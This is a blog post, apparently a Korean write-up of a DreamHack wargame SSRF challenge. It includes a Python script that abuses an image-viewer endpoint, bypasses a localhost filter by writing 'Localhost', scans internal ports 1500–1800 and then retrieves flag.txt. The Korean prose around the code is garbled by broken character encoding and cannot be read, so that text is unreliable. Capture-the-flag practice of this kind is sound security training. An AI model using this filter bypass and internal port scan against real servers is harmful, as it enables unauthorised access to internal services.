https://dreamhack.io/wargame/challenges/75/
ํจ๊ป ์ค์ต์ธ ๋งํผ ํ์ด๋ ์๋ฃ์ ๋ค ๋์์๋ค.
๋ค๋ง ์๋ฃ์์ ๋ถ๋ฅดํธํฌ์ค๋ก ํฌํธ๋ฒํธ๋ฅผ ์ฐพ์๋ผ๋ ํ์ด์ฌ์ ์ด์ฉํ๋๋ฐ, ์ด ์ฝ๋๋ฅผ ํจ์ฌ ๋ ๋จ์ํํ ์ ์์ง ์์๊น ์ถ์ด์ ๊ฐ๊ฒฐํ๊ฒ ๋ฐ๊ฟ๋ดค๋ค.
import requests
ERROR_RESPONSE = "iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnltSIaEEEJASehOlSJcSQotUqYKNkAQSSogJQcSuLCq4dhEBG7oqouhaAFkr9rIo9v6woKKsiwUbKm9SQFe"
url= "http://host3.dreamhack.games:{์ ์์ ๋ณด์ ๋์์๋ ํฌํธ}/img_viewer"
for i in range(1500,1801):
response = requests.post(url, data={'url':'http://Localhost:'+str(i)+'/static/dream.png'})
data = response.text
if(ERROR_RESPONSE in data):
print(str(i))
else:
print(data)
response๊ฐ ์์ฃผ ์์ฃผ ๊ธธ์ง๋ง ๋ฌด์์(1501 ์ ๋) ๊ฐ์ ๋ฃ์์ ๋ ๋์ค๋ ์ด๋ฏธ์ง ์์ค์ค ์ผ๋ถ๋ง ์๋ผ์ ERROR_RESPONSE ๋ณ์๋ก ๋ง๋ค์ด์คฌ๋ค.
๋ฌธ์ ์์ ์ฌ์ฉํ๋ api๋ฅผ url ๋ณ์์ ์ ์ฅํด์ requests.post๋ก ์ ์ํ๋ค.
request body์ ๋ฃ์ ๋ฐ์ดํฐ๋ {url: } ํํ๋ค. (ํ์ด์ง ๋ด๋ถ์์ ์ธํํ๋์ ์ง์ ์ ๋ ฅํ๋ ๊ฒ ๊ณผ ๋์ผ)
์ฝ๋ ๋ด์์ 127.0.0.1 ๊ณผ localhost๋ฅผ ์ด์ฉํ ์ ์์ ๋ง์์ Localhost๋ก ๋๋ฌธ์๋ง ๋ฐ๊ฟ์คฌ๋๋ฐ ๋ซ๋ ธ๋ค. hex๊น์ง๋ ํ์๋ ์์์
๊ทธ๋ฆฌ๊ณ for๋ฌธ์ผ๋ก ๋ค์ ํฌํธ๋ฒํธ์ ๋ฃ์ ์ซ์๋ฅผ 1500 ์์ 1800๊น์ง ์ํํ๋ฉฐ ์ ์์ ์๋ํ๋ค
์๋ต์ ERROR_RESPONSE๊ฐ ํฌํจ๋์ด์๋ค๋ฉด ํจ์ค, ์๋๋ผ๋ฉด ์๋ต๊ฐ ์ถ๋ ฅ
ํ์ด์ฌ์ ์ค์นํ์ง ์์์ ๊ตฌ๊ธ ์ฝ๋ฉ์ผ๋ก ๋๋ ธ๋๋ฐ๋ ์์ฃผ ์ ๋์๊ฐ๋ค ")
๋์ ๊ฒฝ์ฐ 1692ํฌํธ์์๋ง ๋ค๋ฅธ ์๋ต์ด ๋์๋ค.
์ ํฉ์ 1692ํฌํธ๊ฐ ์ด๋ฆฐ ํฌํธ์์ ์ ์ ์๋ค.
์ด๋ฆฐ ํฌํธ๋ฅผ ์ด์ฉํ์ฌ flag.txt๋ฅผ ๋ฐ์์ค๊ณ
์ด๋ฏธ์ง๋ ์๋จ์ง๋ง ์ด๋ฏธ์ง ์์ค๋ก ์ฃผ์ด์ง base64 ์ฝ๋๋ฅผ ๋์ฝ๋ํ๋ฉด
ํ๋๊ทธ ํ๋ ์
'๐ Cyber Security > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack] ๋๋ฆผํต ์นํดํน : blind-command (0) | 2023.07.31 |
---|---|
[DreamHack] ๋๋ฆผํต ์นํดํน : Carve Party (0) | 2023.07.27 |
[DreamHack] ๋๋ฆผํต ์นํดํน : file-download-1 (0) | 2023.07.14 |
[DreamHack] ๋๋ฆผํต ์นํดํน: command-injection-1 (0) | 2023.07.05 |
[DreamHack] ๋๋ฆผํต ์นํดํน: csrf-2 (0) | 2022.11.09 |